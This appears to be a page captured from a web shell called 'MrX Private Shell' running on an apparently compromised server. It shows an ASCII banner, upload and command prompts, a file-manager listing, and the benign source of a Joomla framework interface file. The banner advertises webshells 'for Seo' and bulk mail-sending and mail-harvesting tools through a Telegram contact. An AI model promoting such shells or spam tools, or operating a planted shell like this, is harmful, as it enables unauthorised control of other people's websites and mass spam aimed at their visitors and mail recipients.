__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application;

use Joomla\Input\Input;
use Psr\Http\Message\ResponseInterface;

/**
 * Application sub-interface defining a web application class
 *
 * @since  2.0.0
 */
interface WebApplicationInterface extends ApplicationInterface
{
    /**
     * Method to get the application input object.
     *
     * @return  Input
     *
     * @since   2.0.0
     */
    public function getInput(): Input;

    /**
     * Redirect to another URL.
     *
     * If the headers have not been sent the redirect will be accomplished using a "301 Moved Permanently" or "303 See Other" code in the header
     * pointing to the new location. If the headers have already been sent this will be accomplished using a JavaScript statement.
     *
     * @param   string           $url     The URL to redirect to. Can only be http/https URL
     * @param   integer|boolean  $status  The HTTP status code to be provided. 303 is assumed by default.
     *
     * @return  void
     *
     * @since   2.0.0
     * @throws  \InvalidArgumentException
     */
    public function redirect($url, $status = 303);

    /**
     * Set/get cachable state for the response.
     *
     * If $allow is set, sets the cachable state of the response.  Always returns the current state.
     *
     * @param   boolean  $allow  True to allow browser caching.
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    public function allowCache($allow = null);

    /**
     * Method to set a response header.
     *
     * If the replace flag is set then all headers with the given name will be replaced by the new one.
     * The headers are stored in an internal array to be sent when the site is sent to the browser.
     *
     * @param   string   $name     The name of the header to set.
     * @param   string   $value    The value of the header to set.
     * @param   boolean  $replace  True to replace any headers with the same name.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function setHeader($name, $value, $replace = false);

    /**
     * Method to get the array of response headers to be sent when the response is sent to the client.
     *
     * @return  array
     *
     * @since   2.0.0
     */
    public function getHeaders();

    /**
     * Method to clear any set response headers.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function clearHeaders();

    /**
     * Send the response headers.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function sendHeaders();

    /**
     * Set body content.  If body content already defined, this will replace it.
     *
     * @param   string  $content  The content to set as the response body.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function setBody($content);

    /**
     * Prepend content to the body content
     *
     * @param   string  $content  The content to prepend to the response body.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function prependBody($content);

    /**
     * Append content to the body content
     *
     * @param   string  $content  The content to append to the response body.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function appendBody($content);

    /**
     * Return the body content
     *
     * @return  mixed  The response body as a string.
     *
     * @since   2.0.0
     */
    public function getBody();

    /**
     * Get the PSR-7 Response Object.
     *
     * @return  ResponseInterface
     *
     * @since   2.0.0
     */
    public function getResponse(): ResponseInterface;

    /**
     * Check if the value is a valid HTTP status code
     *
     * @param   integer  $code  The potential status code
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    public function isValidHttpStatus($code);

    /**
     * Set the PSR-7 Response Object.
     *
     * @param   ResponseInterface  $response  The response object
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setResponse(ResponseInterface $response): void;

    /**
     * Determine if we are using a secure (SSL) connection.
     *
     * @return  boolean  True if using SSL, false if not.
     *
     * @since   2.0.0
     */
    public function isSslConnection();
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0775
Event Folder 0775
Exception Folder 0775
Web Folder 0775
AbstractApplication.php File 5.6 KB 0664
AbstractWebApplication.php File 33.97 KB 0664
ApplicationEvents.php File 1.53 KB 0664
ApplicationInterface.php File 723 B 0664
ConfigurationAwareApplicationInterface.php File 1.49 KB 0664
SessionAwareWebApplicationInterface.php File 1.48 KB 0664
SessionAwareWebApplicationTrait.php File 2.58 KB 0664
WebApplication.php File 4.49 KB 0664
WebApplicationInterface.php File 4.52 KB 0664
Filemanager